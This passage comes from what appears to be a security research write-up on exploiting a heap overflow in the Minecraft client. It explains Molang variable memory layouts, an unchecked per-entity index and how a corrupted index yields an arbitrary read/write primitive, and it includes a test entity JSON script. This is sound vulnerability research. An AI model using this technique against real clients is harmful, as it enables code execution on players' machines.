uint64_t",{"type":24,"tag":83,"props":152184,"children":152185},{"style":107},[152186],{"type":29,"value":152187}," variable_name_hash;\n",{"type":24,"tag":83,"props":152189,"children":152190},{"class":85,"line":203},[152191],{"type":24,"tag":83,"props":152192,"children":152193},{"style":107},[152194],{"type":29,"value":152195},"        std::string variable_name;\n",{"type":24,"tag":83,"props":152197,"children":152198},{"class":85,"line":212},[152199],{"type":24,"tag":83,"props":152200,"children":152201},{"style":107},[152202],{"type":29,"value":38715},{"type":24,"tag":83,"props":152204,"children":152205},{"class":85,"line":256},[152206],{"type":24,"tag":83,"props":152207,"children":152208},{"style":107},[152209],{"type":29,"value":61501},{"type":24,"tag":83,"props":152211,"children":152212},{"class":85,"line":270},[152213,152217],{"type":24,"tag":83,"props":152214,"children":152215},{"style":90},[152216],{"type":29,"value":5798},{"type":24,"tag":83,"props":152218,"children":152219},{"style":107},[152220],{"type":29,"value":152221}," MolangScriptArg {\n",{"type":24,"tag":83,"props":152223,"children":152224},{"class":85,"line":302},[152225,152230],{"type":24,"tag":83,"props":152226,"children":152227},{"style":90},[152228],{"type":29,"value":152229},"        uint32_t",{"type":24,"tag":83,"props":152231,"children":152232},{"style":107},[152233],{"type":29,"value":152234}," value_type;\n",{"type":24,"tag":83,"props":152236,"children":152237},{"class":85,"line":324},[152238,152242],{"type":24,"tag":83,"props":152239,"children":152240},{"style":90},[152241],{"type":29,"value":152182},{"type":24,"tag":83,"props":152243,"children":152244},{"style":107},[152245],{"type":29,"value":152246}," value;\n",{"type":24,"tag":83,"props":152248,"children":152249},{"class":85,"line":345},[152250,152255,152259,152263,152268,152272],{"type":24,"tag":83,"props":152251,"children":152252},{"style":107},[152253],{"type":29,"value":152254},"        std::vector",{"type":24,"tag":83,"props":152256,"children":152257},{"style":143},[152258],{"type":29,"value":5552},{"type":24,"tag":83,"props":152260,"children":152261},{"style":90},[152262],{"type":29,"value":9148},{"type":24,"tag":83,"props":152264,"children":152265},{"style":107},[152266],{"type":29,"value":152267}," MolangScriptArg",{"type":24,"tag":83,"props":152269,"children":152270},{"style":143},[152271],{"type":29,"value":10209},{"type":24,"tag":83,"props":152273,"children":152274},{"style":107},[152275],{"type":29,"value":152276}," struct_fields;\n",{"type":24,"tag":83,"props":152278,"children":152279},{"class":85,"line":358},[152280],{"type":24,"tag":83,"props":152281,"children":152282},{"style":107},[152283],{"type":29,"value":152284},"        \n",{"type":24,"tag":83,"props":152286,"children":152287},{"class":85,"line":367},[152288],{"type":24,"tag":83,"props":152289,"children":152290},{"style":107},[152291],{"type":29,"value":123572},{"type":24,"tag":83,"props":152293,"children":152294},{"class":85,"line":406},[152295],{"type":24,"tag":83,"props":152296,"children":152297},{"style":107},[152298],{"type":29,"value":38715},{"type":24,"tag":83,"props":152300,"children":152301},{"class":85,"line":427},[152302],{"type":24,"tag":83,"props":152303,"children":152304},{"style":107},[152305],{"type":29,"value":1071},{"type":24,"tag":25,"props":152307,"children":152308},{},[152309,152311,152316],{"type":29,"value":152310},"In memory a ",{"type":24,"tag":32,"props":152312,"children":152314},{"className":152313},[],[152315],{"type":29,"value":152134},{"type":29,"value":152317}," instance resembles:",{"type":24,"tag":73,"props":152319,"children":152321},{"code":152320},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[152322],{"type":24,"tag":32,"props":152323,"children":152324},{"__ignoreMap":7},[152325],{"type":29,"value":152320},{"type":24,"tag":25,"props":152327,"children":152328},{},[152329],{"type":29,"value":152330},"For reference, example debugger view of the layout:",{"type":24,"tag":25,"props":152332,"children":152333},{},[152334],{"type":24,"tag":2510,"props":152335,"children":152337},{"alt":2512,"src":152336},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":25,"props":152339,"children":152340},{},[152341],{"type":29,"value":152342},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":25,"props":152344,"children":152345},{},[152346,152348,152354,152356,152361,152363,152369,152371,152376,152377,152382,152384,152389,152390,152396,152397,152403],{"type":29,"value":152347},"We only care about the ",{"type":24,"tag":32,"props":152349,"children":152351},{"className":152350},[],[152352],{"type":29,"value":152353},"MolangScriptArg",{"type":29,"value":152355}," beginning at offset ",{"type":24,"tag":32,"props":152357,"children":152359},{"className":152358},[],[152360],{"type":29,"value":128451},{"type":29,"value":152362}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":32,"props":152364,"children":152366},{"className":152365},[],[152367],{"type":29,"value":152368},"value_type",{"type":29,"value":152370}," at ",{"type":24,"tag":32,"props":152372,"children":152374},{"className":152373},[],[152375],{"type":29,"value":128451},{"type":29,"value":5246},{"type":24,"tag":32,"props":152378,"children":152380},{"className":152379},[],[152381],{"type":29,"value":1166},{"type":29,"value":152383}," (meaning float), and the ",{"type":24,"tag":32,"props":152385,"children":152387},{"className":152386},[],[152388],{"type":29,"value":38870},{"type":29,"value":152370},{"type":24,"tag":32,"props":152391,"children":152393},{"className":152392},[],[152394],{"type":29,"value":152395},"0x38",{"type":29,"value":5246},{"type":24,"tag":32,"props":152398,"children":152400},{"className":152399},[],[152401],{"type":29,"value":152402},"0xbf2070c8",{"type":29,"value":161},{"type":24,"tag":25,"props":152405,"children":152406},{},[152407,152409,152415,152417,152422,152424,152429,152430,152435,152437,152442,152444,152449],{"type":29,"value":152408},"During assignment, such as ",{"type":24,"tag":32,"props":152410,"children":152412},{"className":152411},[],[152413],{"type":29,"value":152414},"variable.a = variable.b",{"type":29,"value":152416},", each field of ",{"type":24,"tag":32,"props":152418,"children":152420},{"className":152419},[],[152421],{"type":29,"value":152353},{"type":29,"value":152423}," is copied from variable ",{"type":24,"tag":32,"props":152425,"children":152427},{"className":152426},[],[152428],{"type":29,"value":2968},{"type":29,"value":56490},{"type":24,"tag":32,"props":152431,"children":152433},{"className":152432},[],[152434],{"type":29,"value":2033},{"type":29,"value":152436},". Interestingly, the ",{"type":24,"tag":32,"props":152438,"children":152440},{"className":152439},[],[152441],{"type":29,"value":38870},{"type":29,"value":152443}," field is always copied as a ",{"type":24,"tag":32,"props":152445,"children":152447},{"className":152446},[],[152448],{"type":29,"value":55348},{"type":29,"value":152450}," even if the type is a 32-bit float.",{"type":24,"tag":25,"props":152452,"children":152453},{},[152454,152456,152462],{"type":29,"value":152455},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":32,"props":152457,"children":152459},{"className":152458},[],[152460],{"type":29,"value":152461},"MolangVariableMap",{"type":29,"value":161},{"type":24,"tag":18631,"props":152464,"children":152466},{"id":152465},"molangvariablemap",[152467],{"type":29,"value":152461},{"type":24,"tag":25,"props":152469,"children":152470},{},[152471,152476,152478,152484,152486,152492],{"type":24,"tag":32,"props":152472,"children":152474},{"className":152473},[],[152475],{"type":29,"value":152461},{"type":29,"value":152477}," is simply a ",{"type":24,"tag":32,"props":152479,"children":152481},{"className":152480},[],[152482],{"type":29,"value":152483},"std::vector\u003CMolangVariable *>",{"type":29,"value":152485}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":32,"props":152487,"children":152489},{"className":152488},[],[152490],{"type":29,"value":152491},"std::vector",{"type":29,"value":152493}," layout:",{"type":24,"tag":73,"props":152495,"children":152497},{"code":152496,"language":2891,"meta":7,"className":16250,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[152498],{"type":24,"tag":32,"props":152499,"children":152500},{"__ignoreMap":7},[152501,152513,152529,152545,152561],{"type":24,"tag":83,"props":152502,"children":152503},{"class":85,"line":86},[152504,152508],{"type":24,"tag":83,"props":152505,"children":152506},{"style":90},[152507],{"type":29,"value":9148},{"type":24,"tag":83,"props":152509,"children":152510},{"style":107},[152511],{"type":29,"value":152512}," vector {\n",{"type":24,"tag":83,"props":152514,"children":152515},{"class":85,"line":113},[152516,152520,152524],{"type":24,"tag":83,"props":152517,"children":152518},{"style":90},[152519],{"type":29,"value":16283},{"type":24,"tag":83,"props":152521,"children":152522},{"style":143},[152523],{"type":29,"value":9563},{"type":24,"tag":83,"props":152525,"children":152526},{"style":107},[152527],{"type":29,"value":152528},"buf;\n",{"type":24,"tag":83,"props":152530,"children":152531},{"class":85,"line":128},[152532,152536,152540],{"type":24,"tag":83,"props":152533,"children":152534},{"style":90},[152535],{"type":29,"value":16283},{"type":24,"tag":83,"props":152537,"children":152538},{"style":143},[152539],{"type":29,"value":9563},{"type":24,"tag":83,"props":152541,"children":152542},{"style":107},[152543],{"type":29,"value":152544},"len;\n",{"type":24,"tag":83,"props":152546,"children":152547},{"class":85,"line":183},[152548,152552,152556],{"type":24,"tag":83,"props":152549,"children":152550},{"style":90},[152551],{"type":29,"value":16283},{"type":24,"tag":83,"props":152553,"children":152554},{"style":143},[152555],{"type":29,"value":9563},{"type":24,"tag":83,"props":152557,"children":152558},{"style":107},[152559],{"type":29,"value":152560},"cap;\n",{"type":24,"tag":83,"props":152562,"children":152563},{"class":85,"line":203},[152564],{"type":24,"tag":83,"props":152565,"children":152566},{"style":107},[152567],{"type":29,"value":1071},{"type":24,"tag":25,"props":152569,"children":152570},{},[152571,152576,152578,152583,152585,152591,152593,152598,152599,152604],{"type":24,"tag":32,"props":152572,"children":152574},{"className":152573},[],[152575],{"type":29,"value":149657},{"type":29,"value":152577}," points to the allocated array of elements, ",{"type":24,"tag":32,"props":152579,"children":152581},{"className":152580},[],[152582],{"type":29,"value":8885},{"type":29,"value":152584}," points just past the last used element, and ",{"type":24,"tag":32,"props":152586,"children":152588},{"className":152587},[],[152589],{"type":29,"value":152590},"cap",{"type":29,"value":152592}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":32,"props":152594,"children":152596},{"className":152595},[],[152597],{"type":29,"value":8885},{"type":29,"value":2287},{"type":24,"tag":32,"props":152600,"children":152602},{"className":152601},[],[152603],{"type":29,"value":152590},{"type":29,"value":152605}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":25,"props":152607,"children":152608},{},[152609],{"type":29,"value":152610},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":73,"props":152612,"children":152614},{"code":152613},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[152615],{"type":24,"tag":32,"props":152616,"children":152617},{"__ignoreMap":7},[152618],{"type":29,"value":152613},{"type":24,"tag":25,"props":152620,"children":152621},{},[152622,152624,152630,152632,152638],{"type":29,"value":152623},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":32,"props":152625,"children":152627},{"className":152626},[],[152628],{"type":29,"value":152629},"variable.result",{"type":29,"value":152631},") may differ between entities. To get around this, ",{"type":24,"tag":32,"props":152633,"children":152635},{"className":152634},[],[152636],{"type":29,"value":152637},"MolangIndexMap",{"type":29,"value":152639}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":18631,"props":152641,"children":152643},{"id":152642},"molangindexmap",[152644],{"type":29,"value":152637},{"type":24,"tag":25,"props":152646,"children":152647},{},[152648,152653,152655,152661,152663,152669],{"type":24,"tag":32,"props":152649,"children":152651},{"className":152650},[],[152652],{"type":29,"value":152637},{"type":29,"value":152654}," is a per-entity ",{"type":24,"tag":32,"props":152656,"children":152658},{"className":152657},[],[152659],{"type":29,"value":152660},"std::vector\u003Cuint16_t>",{"type":29,"value":152662},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":32,"props":152664,"children":152666},{"className":152665},[],[152667],{"type":29,"value":152668},"variable.result = 0",{"type":29,"value":152670}," it:",{"type":24,"tag":63,"props":152672,"children":152673},{},[152674,152684,152694],{"type":24,"tag":67,"props":152675,"children":152676},{},[152677,152679],{"type":29,"value":152678},"Checks the global hashmap for ",{"type":24,"tag":32,"props":152680,"children":152682},{"className":152681},[],[152683],{"type":29,"value":8828},{"type":24,"tag":67,"props":152685,"children":152686},{},[152687,152689],{"type":29,"value":152688},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":32,"props":152690,"children":152692},{"className":152691},[],[152693],{"type":29,"value":152637},{"type":24,"tag":67,"props":152695,"children":152696},{},[152697,152699],{"type":29,"value":152698},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":32,"props":152700,"children":152702},{"className":152701},[],[152703],{"type":29,"value":152704},"last_index + 1",{"type":24,"tag":25,"props":152706,"children":152707},{},[152708,152710,152715,152717,152722,152724,152729,152731,152736,152738,152743,152744,152750,152752,152757],{"type":29,"value":152709},"This means the same global index for variable ",{"type":24,"tag":32,"props":152711,"children":152713},{"className":152712},[],[152714],{"type":29,"value":8828},{"type":29,"value":152716}," maps to the same position inside every entity’s ",{"type":24,"tag":32,"props":152718,"children":152720},{"className":152719},[],[152721],{"type":29,"value":152637},{"type":29,"value":152723},", but the actual ",{"type":24,"tag":32,"props":152725,"children":152727},{"className":152726},[],[152728],{"type":29,"value":152134},{"type":29,"value":152730}," for ",{"type":24,"tag":32,"props":152732,"children":152734},{"className":152733},[],[152735],{"type":29,"value":8828},{"type":29,"value":152737}," may live at different slots inside each entity's ",{"type":24,"tag":32,"props":152739,"children":152741},{"className":152740},[],[152742],{"type":29,"value":152461},{"type":29,"value":18269},{"type":24,"tag":32,"props":152745,"children":152747},{"className":152746},[],[152748],{"type":29,"value":152749},"Entity.MolangIndexMap[global_index]",{"type":29,"value":152751}," stores the per-entity index (slot) of variable ",{"type":24,"tag":32,"props":152753,"children":152755},{"className":152754},[],[152756],{"type":29,"value":8828},{"type":29,"value":161},{"type":24,"tag":25,"props":152759,"children":152760},{},[152761,152763,152768,152770,152775,152777,152782,152784,152789,152791,152797,152799,152804],{"type":29,"value":152762},"Importantly, we found that indices in the ",{"type":24,"tag":32,"props":152764,"children":152766},{"className":152765},[],[152767],{"type":29,"value":152637},{"type":29,"value":152769}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":32,"props":152771,"children":152773},{"className":152772},[],[152774],{"type":29,"value":152461},{"type":29,"value":152776},". This means that if we overwrite the index of variable ",{"type":24,"tag":32,"props":152778,"children":152780},{"className":152779},[],[152781],{"type":29,"value":8828},{"type":29,"value":152783}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":32,"props":152785,"children":152787},{"className":152786},[],[152788],{"type":29,"value":152461},{"type":29,"value":152790},", we could read from and write to ",{"type":24,"tag":32,"props":152792,"children":152794},{"className":152793},[],[152795],{"type":29,"value":152796},"address + 0x38",{"type":29,"value":152798}," through ",{"type":24,"tag":32,"props":152800,"children":152802},{"className":152801},[],[152803],{"type":29,"value":152629},{"type":29,"value":161},{"type":24,"tag":1818,"props":152806,"children":152808},{"id":152807},"building-a-molang-arbitrary-rw-primitive",[152809],{"type":29,"value":152810},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":25,"props":152812,"children":152813},{},[152814,152816,152821,152823,152828],{"type":29,"value":152815},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":32,"props":152817,"children":152819},{"className":152818},[],[152820],{"type":29,"value":152491},{"type":29,"value":152822}," - specifically, of ",{"type":24,"tag":32,"props":152824,"children":152826},{"className":152825},[],[152827],{"type":29,"value":152461},{"type":29,"value":152829}," vector.",{"type":24,"tag":25,"props":152831,"children":152832},{},[152833,152835,152840,152842,152847,152848,152853,152855,152860],{"type":29,"value":152834},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":32,"props":152836,"children":152838},{"className":152837},[],[152839],{"type":29,"value":152461},{"type":29,"value":152841}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":32,"props":152843,"children":152845},{"className":152844},[],[152846],{"type":29,"value":149657},{"type":29,"value":55505},{"type":24,"tag":32,"props":152849,"children":152851},{"className":152850},[],[152852],{"type":29,"value":152461},{"type":29,"value":152854}," vector belonging to an entity object placed just next the ",{"type":24,"tag":32,"props":152856,"children":152858},{"className":152857},[],[152859],{"type":29,"value":152461},{"type":29,"value":152861}," allocated buffer.",{"type":24,"tag":73,"props":152863,"children":152865},{"code":152864},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[152866],{"type":24,"tag":32,"props":152867,"children":152868},{"__ignoreMap":7},[152869],{"type":29,"value":152864},{"type":24,"tag":25,"props":152871,"children":152872},{},[152873,152875,152880,152882,152888,152890,152895,152896,152902,152903,152908,152910,152915,152917,152922,152924,152929,152931,152936,152938,152943,152945,152950,152952,152958,152960,152965,152967,152972],{"type":29,"value":152874},"In the scenario above, the ",{"type":24,"tag":32,"props":152876,"children":152878},{"className":152877},[],[152879],{"type":29,"value":152637},{"type":29,"value":152881}," would map ",{"type":24,"tag":32,"props":152883,"children":152885},{"className":152884},[],[152886],{"type":29,"value":152887},"variable.a",{"type":29,"value":152889}," -> index ",{"type":24,"tag":32,"props":152891,"children":152893},{"className":152892},[],[152894],{"type":29,"value":1166},{"type":29,"value":568},{"type":24,"tag":32,"props":152897,"children":152899},{"className":152898},[],[152900],{"type":29,"value":152901},"variable.b",{"type":29,"value":152889},{"type":24,"tag":32,"props":152904,"children":152906},{"className":152905},[],[152907],{"type":29,"value":3756},{"type":29,"value":152909},", and so on. If we overwrite the index for ",{"type":24,"tag":32,"props":152911,"children":152913},{"className":152912},[],[152914],{"type":29,"value":152887},{"type":29,"value":152916}," with a value that is out-of-bounds for the ",{"type":24,"tag":32,"props":152918,"children":152920},{"className":152919},[],[152921],{"type":29,"value":152461},{"type":29,"value":152923},", it can instead index the ",{"type":24,"tag":32,"props":152925,"children":152927},{"className":152926},[],[152928],{"type":29,"value":149657},{"type":29,"value":152930}," field of the entity object above. Reading ",{"type":24,"tag":32,"props":152932,"children":152934},{"className":152933},[],[152935],{"type":29,"value":152887},{"type":29,"value":152937}," will then return the pointer stored at offset ",{"type":24,"tag":32,"props":152939,"children":152941},{"className":152940},[],[152942],{"type":29,"value":152395},{"type":29,"value":152944}," from the start of the ",{"type":24,"tag":32,"props":152946,"children":152948},{"className":152947},[],[152949],{"type":29,"value":152461},{"type":29,"value":152951}," (which in this diagram corresponds to ",{"type":24,"tag":32,"props":152953,"children":152955},{"className":152954},[],[152956],{"type":29,"value":152957},"variable.f",{"type":29,"value":152959},"), and writing to ",{"type":24,"tag":32,"props":152961,"children":152963},{"className":152962},[],[152964],{"type":29,"value":152887},{"type":29,"value":152966}," will overwrite that pointer - corrupting ",{"type":24,"tag":32,"props":152968,"children":152970},{"className":152969},[],[152971],{"type":29,"value":152957},{"type":29,"value":161},{"type":24,"tag":25,"props":152974,"children":152975},{},[152976,152978,152983,152984,152990,152992,152997,152999,153005,153007,153012,153014,153019,153021,153027,153029,153035,153037,153042],{"type":29,"value":152977},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":32,"props":152979,"children":152981},{"className":152980},[],[152982],{"type":29,"value":152887},{"type":29,"value":223},{"type":24,"tag":32,"props":152985,"children":152987},{"className":152986},[],[152988],{"type":29,"value":152989},"variable.a += 8",{"type":29,"value":152991},"), which advances the pointer used for ",{"type":24,"tag":32,"props":152993,"children":152995},{"className":152994},[],[152996],{"type":29,"value":152957},{"type":29,"value":152998}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":32,"props":153000,"children":153002},{"className":153001},[],[153003],{"type":29,"value":153004},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":153006}," - this updates the ",{"type":24,"tag":32,"props":153008,"children":153010},{"className":153009},[],[153011],{"type":29,"value":152957},{"type":29,"value":153013}," pointer to our chosen address, and writing to ",{"type":24,"tag":32,"props":153015,"children":153017},{"className":153016},[],[153018],{"type":29,"value":152957},{"type":29,"value":153020},", for example ",{"type":24,"tag":32,"props":153022,"children":153024},{"className":153023},[],[153025],{"type":29,"value":153026},"variable.f = 1337",{"type":29,"value":153028},", writes the value ",{"type":24,"tag":32,"props":153030,"children":153032},{"className":153031},[],[153033],{"type":29,"value":153034},"1337",{"type":29,"value":153036}," to offset ",{"type":24,"tag":32,"props":153038,"children":153040},{"className":153039},[],[153041],{"type":29,"value":152395},{"type":29,"value":153043}," from that calculated address.",{"type":24,"tag":18631,"props":153045,"children":153047},{"id":153046},"testing-the-idea",[153048],{"type":29,"value":153049},"Testing the Idea",{"type":24,"tag":25,"props":153051,"children":153052},{},[153053,153055,153060,153062,153067,153069,153074],{"type":29,"value":153054},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":32,"props":153056,"children":153058},{"className":153057},[],[153059],{"type":29,"value":152461},{"type":29,"value":153061}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":2655,"props":153063,"children":153064},{},[153065],{"type":29,"value":153066},"almost",{"type":29,"value":153068}," worked - below is the state of the ",{"type":24,"tag":32,"props":153070,"children":153072},{"className":153071},[],[153073],{"type":29,"value":152461},{"type":29,"value":153075},"'s allocated buffer before the Molang script executes:",{"type":24,"tag":25,"props":153077,"children":153078},{},[153079],{"type":24,"tag":2510,"props":153080,"children":153082},{"alt":2512,"src":153081},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":25,"props":153084,"children":153085},{},[153086],{"type":29,"value":153087},"And this is after execution:",{"type":24,"tag":25,"props":153089,"children":153090},{},[153091],{"type":24,"tag":2510,"props":153092,"children":153094},{"alt":2512,"src":153093},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":25,"props":153096,"children":153097},{},[153098],{"type":29,"value":153099},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":73,"props":153101,"children":153103},{"code":153102,"language":743,"meta":7,"className":1903,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[153104],{"type":24,"tag":32,"props":153105,"children":153106},{"__ignoreMap":7},[153107,153114,153135,153147,153159,153180,153187,153194,153201,153213,153226,153238,153250,153262,153278,153285,153297,153305,153313,153320,153327,153334],{"type":24,"tag":83,"props":153108,"children":153109},{"class":85,"line":86},[153110],{"type":24,"tag":83,"props":153111,"children":153112},{"style":107},[153113],{"type":29,"value":10628},{"type":24,"tag":83,"props":153115,"children":153116},{"class":85,"line":113},[153117,153122,153126,153131],{"type":24,"tag":83,"props":153118,"children":153119},{"style":137},[153120],{"type":29,"value":153121},"  \"format_version\"",{"type":24,"tag":83,"props":153123,"children":153124},{"style":107},[153125],{"type":29,"value":1920},{"type":24,"tag":83,"props":153127,"children":153128},{"style":187},[153129],{"type":29,"value":153130},"\"1.10.0\"",{"type":24,"tag":83,"props":153132,"children":153133},{"style":107},[153134],{"type":29,"value":989},{"type":24,"tag":83,"props":153136,"children":153137},{"class":85,"line":128},[153138,153143],{"type":24,"tag":83,"props":153139,"children":153140},{"style":137},[153141],{"type":29,"value":153142},"  \"minecraft:client_entity\"",{"type":24,"tag":83,"props":153144,"children":153145},{"style":107},[153146],{"type":29,"value":2074},{"type":24,"tag":83,"props":153148,"children":153149},{"class":85,"line":183},[153150,153155],{"type":24,"tag":83,"props":153151,"children":153152},{"style":137},[153153],{"type":29,"value":153154},"    \"description\"",{"type":24,"tag":83,"props":153156,"children":153157},{"style":107},[153158],{"type":29,"value":2074},{"type":24,"tag":83,"props":153160,"children":153161},{"class":85,"line":203},[153162,153167,153171,153176],{"type":24,"tag":83,"props":153163,"children":153164},{"style":137},[153165],{"type":29,"value":153166},"      \"identifier\"",{"type":24,"tag":83,"props":153168,"children":153169},{"style":107},[153170],{"type":29,"value":1920},{"type":24,"tag":83,"props":153172,"children":153173},{"style":187},[153174],{"type":29,"value":153175},"\"minecraft:leash_knot\"",{"type":24,"tag":83,"props":153177,"children":153178},{"style":107},[153179],{"type":29,"value":989},{"type":24,"tag":83,"props":153181,"children":153182},{"class":85,"line":212},[153183],{"type":24,"tag":83,"props":153184,"children":153185},{"emptyLinePlaceholder":16},[153186],{"type":29,"value":3422},{"type":24,"tag":83,"props":153188,"children":153189},{"class":85,"line":256},[153190],{"type":24,"tag":83,"props":153191,"children":153192},{"style":22147},[153193],{"type":29,"value":126974},{"type":24,"tag":83,"props":153195,"children":153196},{"class":85,"line":270},[153197],{"type":24,"tag":83,"props":153198,"children":153199},{"style":107},[153200],{"type":29,"value":152284},{"type":24,"tag":83,"props":153202,"children":153203},{"class":85,"line":302},[153204,153209],{"type":24,"tag":83,"props":153205,"children":153206},{"style":137},[153207],{"type":29,"value":153208},"      \"scripts\"",{"type":24,"tag":83,"props":153210,"children":153211},{"style":107},[153212],{"type":29,"value":2074},{"type":24,"tag":83,"props":153214,"children":153215},{"class":85,"line":324},[153216,153221],{"type":24,"tag":83,"props":153217,"children":153218},{"style":137},[153219],{"type":29,"value":153220},"        \"initialize\"",{"type":24,"tag":83,"props":153222,"children":153223},{"style":107},[153224],{"type":29,"value":153225},": [\n",{"type":24,"tag":83,"props":153227,"children":153228},{"class":85,"line":345},[153229,153234],{"type":24,"tag":83,"props":153230,"children":153231},{"style":187},[153232],{"type":29,"value":153233},"          \"variable.a = 0;\"",{"type":24,"tag":83,"props":153235,"children":153236},{"style":107},[153237],{"type":29,"value":989},{"type":24,"tag":83,"props":153239,"children":153240},{"class":85,"line":358},[153241,153246],{"type":24,"tag":83,"props":153242,"children":153243},{"style":187},[153244],{"type":29,"value":153245},"          \"variable.b = 0;\"",{"type":24,"tag":83,"props":153247,"children":153248},{"style":107},[153249],{"type":29,"value":989},{"type":24,"tag":83,"props":153251,"children":153252},{"class":85,"line":367},[153253,153258],{"type":24,"tag":83,"props":153254,"children":153255},{"style":187},[153256],{"type":29,"value":153257},"          \"variable.c = 0;\"",{"type":24,"tag":83,"props":153259,"children":153260},{"style":107},[153261],{"type":29,"value":989},{"type":24,"tag":83,"props":153263,"children":153264},{"class":85,"line":406},[153265,153270,153274],{"type":24,"tag":83,"props":153266,"children":153267},{"style":107},[153268],{"type":29,"value":153269},"          [",{"type":24,"tag":83,"props":153271,"children":153272},{"style":22147},[153273],{"type":29,"value":509},{"type":24,"tag":83,"props":153275,"children":153276},{"style":107},[153277],{"type":29,"value":1453},{"type":24,"tag":83,"props":153279,"children":153280},{"class":85,"line":427},[153281],{"type":24,"tag":83,"props":153282,"children":153283},{"style":107},[153284],{"type":29,"value":43365},{"type":24,"tag":83,"props":153286,"children":153287},{"class":85,"line":440},[153288,153293],{"type":24,"tag":83,"props":153289,"children":153290},{"style":137},[153291],{"type":29,"value":153292},"        \"pre_animation\"",{"type":24,"tag":83,"props":153294,"children":153295},{"style":107},[153296],{"type":29,"value":153225},{"type":24,"tag":83,"props":153298,"children":153299},{"class":85,"line":449},[153300],{"type":24,"tag":83,"props":153301,"children":153302},{"style":187},[153303],{"type":29,"value":153304},"          \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":83,"props":153306,"children":153307},{"class":85,"line":458},[153308],{"type":24,"tag":83,"props":153309,"children":153310},{"style":107},[153311],{"type":29,"value":153312},"        ]\n",{"type":24,"tag":83,"props":153314,"children":153315},{"class":85,"line":1065},[153316],{"type":24,"tag":83,"props":153317,"children":153318},{"style":107},[153319],{"type":29,"value":2197},{"type":24,"tag":83,"props":153321,"children":153322},{"class":85,"line":1668},[153323],{"type":24,"tag":83,"props":153324,"children":153325},{"style":107},[153326],{"type":29,"value":446},{"type":24,"tag":83,"props":153328,"children":153329},{"class":85,"line":1713},[153330],{"type":24,"tag":83,"props":153331,"children":153332},{"style":107},[153333],{"type":29,"value":455},{"type":24,"tag":83,"props":153335,"children":153336},{"class":85,"line":1730},[153337],{"type":24,"tag":83,"props":153338,"children":153339},{"style":107},[153340],{"type":29,"value":464},{"type":24,"tag":25,"props":153342,"children":153343},{},[153344,153346,153351,153353,153358,153360,153365],{"type":29,"value":153345},"As shown, the pointer of a variable at offset ",{"type":24,"tag":32,"props":153347,"children":153349},{"className":153348},[],[153350],{"type":29,"value":152395},{"type":29,"value":153352}," was modified and the core concept works. During ",{"type":24,"tag":32,"props":153354,"children":153356},{"className":153355},[],[153357],{"type":29,"value":152353},{"type":29,"value":153359}," copy, pointers of some other variables above offset ",{"type":24,"tag":32,"props":153361,"children":153363},{"className":153362},[],[153364],{"type":29,"value":152395},{"type":29,"value":153366}," were removed, but this is fine as we 